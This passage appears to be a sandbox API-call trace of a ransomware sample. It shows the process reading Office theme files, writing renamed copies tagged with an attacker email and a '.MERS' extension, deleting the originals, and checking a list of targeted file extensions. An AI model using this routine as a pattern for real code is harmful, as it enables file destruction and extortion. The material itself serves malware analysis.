lpNumberOfBytesRead=0x2fafed4*=0x5791, lpOverlapped=0x0) returned 1 [0269.206] WriteFile (in: hFile=0x3fc, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x57a0, lpNumberOfBytesWritten=0x2fafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x2fafc9c*=0x57a0, lpOverlapped=0x0) returned 1 [0269.207] ReadFile (in: hFile=0x3f8, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fafed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x2fafed4*=0x0, lpOverlapped=0x0) returned 1 [0269.207] WriteFile (in: hFile=0x3fc, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2fafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x2fafc9c*=0xf0, lpOverlapped=0x0) returned 1 [0269.207] SetEndOfFile (hFile=0x3fc) returned 1 [0269.207] CloseHandle (hObject=0x3fc) returned 1 [0269.207] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafec8 | out: lpNewFilePointer=0x0) returned 1 [0269.207] SetEndOfFile (hFile=0x3f8) returned 1 [0269.210] CloseHandle (hObject=0x3f8) returned 1 [0269.210] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0269.210] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\concourse.eftx")) returned 1 [0269.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx") returned 81 [0269.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx") returned 81 [0269.210] lstrlenW (lpString=".doc") returned 4 [0269.210] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0269.210] lstrlenW (lpString=".docx") returned 5 [0269.210] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0269.210] lstrlenW (lpString=".pdf") returned 4 [0269.210] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0269.210] lstrlenW (lpString=".xls") returned 4 [0269.210] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0269.210] lstrlenW (lpString=".xlsx") returned 5 [0269.210] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0269.210] lstrlenW (lpString=".ppt") returned 4 [0269.210] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0269.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx") returned 81 [0269.210] lstrlenW (lpString=".zip") returned 4 [0269.210] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0269.211] lstrlenW (lpString=".rar") returned 4 [0269.211] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0269.211] lstrlenW (lpString=".bz2") returned 4 [0269.211] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0269.211] lstrlenW (lpString=".7z") returned 3 [0269.211] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0269.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx") returned 81 [0269.211] lstrlenW (lpString=".dbf") returned 4 [0269.211] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0269.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx") returned 81 [0269.211] lstrlenW (lpString=".1cd") returned 4 [0269.211] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0269.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx") returned 81 [0269.211] lstrlenW (lpString=".jpg") returned 4 [0269.211] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0269.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx") returned 81 [0269.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx") returned 81 [0269.211] lstrlenW (lpString=".doc") returned 4 [0269.211] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0269.211] lstrlenW (lpString=".docx") returned 5 [0269.211] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0269.211] lstrlenW (lpString=".pdf") returned 4 [0269.211] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0269.211] lstrlenW (lpString=".xls") returned 4 [0269.211] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0269.211] lstrlenW (lpString=".xlsx") returned 5 [0269.211] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0269.211] lstrlenW (lpString=".ppt") returned 4 [0269.211] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0269.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx") returned 81 [0269.211] lstrlenW (lpString=".zip") returned 4 [0269.211] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0269.211] lstrlenW (lpString=".rar") returned 4 [0269.211] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0269.212] lstrlenW (lpString=".bz2") returned 4 [0269.212] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0269.212] lstrlenW (lpString=".7z") returned 3 [0269.212] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0269.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx") returned 81 [0269.212] lstrlenW (lpString=".dbf") returned 4 [0269.212] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0269.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx") returned 81 [0269.212] lstrlenW (lpString=".1cd") returned 4 [0269.212] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0269.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx") returned 81 [0269.212] lstrlenW (lpString=".jpg") returned 4 [0269.212] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0269.212] lstrcmpiW (lpString1=".eftx", lpString2=".MERS") returned -1 [0269.212] lstrlenW (lpString="Equity.eftx") returned 11 [0269.212] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\equity.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0269.245] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2faff1c | out: lpFileSize=0x2faff1c*=24611) returned 1 [0269.245] CloseHandle (hObject=0x388) returned 1 [0269.245] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\equity.eftx")) returned 0x20 [0269.245] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\equity.eftx.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0269.245] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\equity.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0269.245] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafec8 | out: lpNewFilePointer=0x0) returned 1 [0269.245] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafec8 | out: lpNewFilePointer=0x0) returned 1 [0269.245] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\equity.eftx.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0270.986] GetLastError () returned 0x0 [0270.986] ReadFile (in: hFile=0x388, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fafed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x2fafed4*=0x6023, lpOverlapped=0x0) returned 1 [0271.108] WriteFile (in: hFile=0x3b0, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x6030, lpNumberOfBytesWritten=0x2fafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x2fafc9c*=0x6030, lpOverlapped=0x0) returned 1 [0271.109] ReadFile (in: hFile=0x388, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fafed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x2fafed4*=0x0, lpOverlapped=0x0) returned 1 [0271.109] WriteFile (in: hFile=0x3b0, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2fafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x2fafc9c*=0xea, lpOverlapped=0x0) returned 1 [0271.109] SetEndOfFile (hFile=0x3b0) returned 1 [0271.109] CloseHandle (hObject=0x3b0) returned 1 [0271.109] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafec8 | out: lpNewFilePointer=0x0) returned 1 [0271.109] SetEndOfFile (hFile=0x388) returned 1 [0271.114] CloseHandle (hObject=0x388) returned 1 [0271.114] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0271.130] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\equity.eftx")) returned 1 [0271.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx") returned 78 [0271.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx") returned 78 [0271.145] lstrlenW (lpString=".doc") returned 4 [0271.145] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0271.145] lstrlenW (lpString=".docx") returned 5 [0271.145] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0271.145] lstrlenW (lpString=".pdf") returned 4 [0271.145] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0271.145] lstrlenW (lpString=".xls") returned 4 [0271.145] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0271.145] lstrlenW (lpString=".xlsx") returned 5 [0271.145] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0271.145] lstrlenW (lpString=".ppt") returned 4 [0271.145] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0271.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx") returned 78 [0271.145] lstrlenW (lpString=".zip") returned 4 [0271.146] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0271.146] lstrlenW (lpString=".rar") returned 4 [0271.146] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0271.146] lstrlenW (lpString=".bz2") returned 4 [0271.146] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0271.146] lstrlenW (lpString=".7z") returned 3 [0271.146] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0271.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx") returned 78 [0271.146] lstrlenW (lpString=".dbf") returned 4 [0271.146] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0271.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx") returned 78 [0271.146] lstrlenW (lpString=".1cd") returned 4 [0271.146] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0271.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx") returned 78 [0271.146] lstrlenW (lpString=".jpg") returned 4 [0271.146] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0271.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx") returned 78 [0271.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx") returned 78 [0271.146] lstrlenW (lpString=".doc") returned 4 [0271.146] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0271.146] lstrlenW (lpString=".docx") returned 5 [0271.146] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0271.146] lstrlenW (lpString=".pdf") returned 4 [0271.146] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0271.146] lstrlenW (lpString=".xls") returned 4 [0271.146] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0271.146] lstrlenW (lpString=".xlsx") returned 5 [0271.146] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0271.146] lstrlenW (lpString=".ppt") returned 4 [0271.146] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0271.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx") returned 78 [0271.146] lstrlenW (lpString=".zip") returned 4 [0271.146] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0271.146] lstrlenW (lpString=".rar") returned 4 [0271.146] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0271.147] lstrlenW (lpString=".bz2") returned 4 [0271.147] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0271.147] lstrlenW (lpString=".7z") returned 3 [0271.147] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0271.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx") returned 78 [0271.147] lstrlenW (lpString=".dbf") returned 4 [0271.147] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0271.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx") returned 78 [0271.147] lstrlenW (lpString=".1cd") returned 4 [0271.147] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0271.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx") returned 78 [0271.147] lstrlenW (lpString=".jpg") returned 4 [0271.147] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0271.147] lstrcmpiW (lpString1=".eftx", lpString2=".MERS") returned -1 [0271.147] lstrlenW (lpString="Grid.eftx") returned 9 [0271.147] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\grid.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x284 [0271.148] GetFileSizeEx (in: hFile=0x284, lpFileSize=0x2faff1c | out: lpFileSize=0x2faff1c*=18639) returned 1 [0271.148] CloseHandle (hObject=0x284) returned 1 [0271.148] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\grid.eftx")) returned 0x20 [0271.148] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\grid.eftx.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0271.148] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\grid.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x284 [0271.148] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafec8 | out: lpNewFilePointer=0x0) returned 1 [0271.148] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafec8 | out: lpNewFilePointer=0x0) returned 1 [0271.148] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\grid.eftx.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0271.149] GetLastError () returned 0x0 [0271.149] ReadFile (in: hFile=0x284, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fafed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x2fafed4*=0x48cf, lpOverlapped=0x0) returned 1 [0271.150] WriteFile (in: hFile=0x3e8, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x48d0, lpNumberOfBytesWritten=0x2fafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x2fafc9c*=0x48d0, lpOverlapped=0x0) returned 1 [0271.151] ReadFile (in: hFile=0x284, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fafed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x2fafed4*=0x0, lpOverlapped=0x0) returned 1 [0271.151] WriteFile (in: hFile=0x3e8, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2fafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x2fafc9c*=0xe6, lpOverlapped=0x0) returned 1 [0271.151] SetEndOfFile (hFile=0x3e8) returned 1 [0271.151] CloseHandle (hObject=0x3e8) returned 1 [0271.151] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafec8 | out: lpNewFilePointer=0x0) returned 1 [0271.151] SetEndOfFile (hFile=0x284) returned 1 [0271.153] CloseHandle (hObject=0x284) returned 1 [0271.153] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0271.153] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\grid.eftx")) returned 1 [0271.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx") returned 76 [0271.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx") returned 76 [0271.153] lstrlenW (lpString=".doc") returned 4 [0271.153] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0271.154] lstrlenW (lpString=".docx") returned 5 [0271.154] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0271.154] lstrlenW (lpString=".pdf") returned 4 [0271.154] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0271.154] lstrlenW (lpString=".xls") returned 4 [0271.154] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0271.154] lstrlenW (lpString=".xlsx") returned 5 [0271.154] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0271.154] lstrlenW (lpString=".ppt") returned 4 [0271.154] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0271.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx") returned 76 [0271.154] lstrlenW (lpString=".zip") returned 4 [0271.154] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0271.154] lstrlenW (lpString=".rar") returned 4 [0271.154] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0271.154] lstrlenW (lpString=".bz2") returned 4 [0271.154] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0271.154] lstrlenW (lpString=".7z") returned 3 [0271.154] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0271.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx") returned 76 [0271.154] lstrlenW (lpString=".dbf") returned 4 [0271.154] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0271.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx") returned 76 [0271.154] lstrlenW (lpString=".1cd") returned 4 [0271.154] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0271.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx") returned 76 [0271.154] lstrlenW (lpString=".jpg") returned 4 [0271.154] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0271.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx") returned 76 [0271.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx") returned 76 [0271.154] lstrlenW (lpString=".doc") returned 4 [0271.154] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0271.154] lstrlenW (lpString=".docx") returned 5 [0271.154] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0271.154] lstrlenW (lpString=".pdf") returned 4 [0271.155] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0271.155] lstrlenW (lpString=".xls") returned 4 [0271.155] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0271.155] lstrlenW (lpString=".xlsx") returned 5 [0271.155] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0271.155] lstrlenW (lpString=".ppt") returned 4 [0271.155] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0271.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx") returned 76 [0271.155] lstrlenW (lpString=".zip") returned 4 [0271.155] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0271.155] lstrlenW (lpString=".rar") returned 4 [0271.155] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0271.155] lstrlenW (lpString=".bz2") returned 4 [0271.155] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0271.155] lstrlenW (lpString=".7z") returned 3 [0271.155] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0271.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx") returned 76 [0271.155] lstrlenW (lpString=".dbf") returned 4 [0271.155] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0271.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx") returned 76 [0271.155] lstrlenW (lpString=".1cd") returned 4 [0271.155] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0271.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx") returned 76 [0271.155] lstrlenW (lpString=".jpg") returned 4 [0271.155] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0271.155] lstrcmpiW (lpString1=".eftx", lpString2=".MERS") returned -1 [0271.155] lstrlenW (lpString="Hardcover.eftx") returned 14 [0271.155] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\hardcover.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x284 [0271.156] GetFileSizeEx (in: hFile=0x284, lpFileSize=0x2faff1c | out: lpFileSize=0x2faff1c*=350689) returned 1 [0271.156] CloseHandle (hObject=0x284) returned 1 [0271.156] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\hardcover.eftx")) returned 0x20 [0271.156] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\hardcover.eftx.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0271.156] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\hardcover.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x284 [0271.157] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafec8 | out: lpNewFilePointer=0x0) returned 1 [0271.157] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fafec8 | out: lpNewFilePointer=0x0) returned 1 [0271.157] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\hardcover.eftx.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0271.157] GetLastError () returned 0x0 [0271.157] ReadFile (in: hFile=0x284, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fafed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x2fafed4*=0x559e1, lpOverlapped=0x0) returned 1 [0271.252] WriteFile (in: hFile=0x3e8, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x559f0, lpNumberOfBytesWritten=0x2fafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x2fafc9c*=0x559f0, lpOverlapped=0x0) returned 1 [0271.257] ReadFile (in: hFile=0x284, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fafed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x2fafed4*=0x0, lpOverlapped=0x0) returned 1 [0271.257] WriteFile (in: hFile=0x3e8, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2fafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x2fafc9c*=0xf0, lpOverlapped=0x0) returned 1 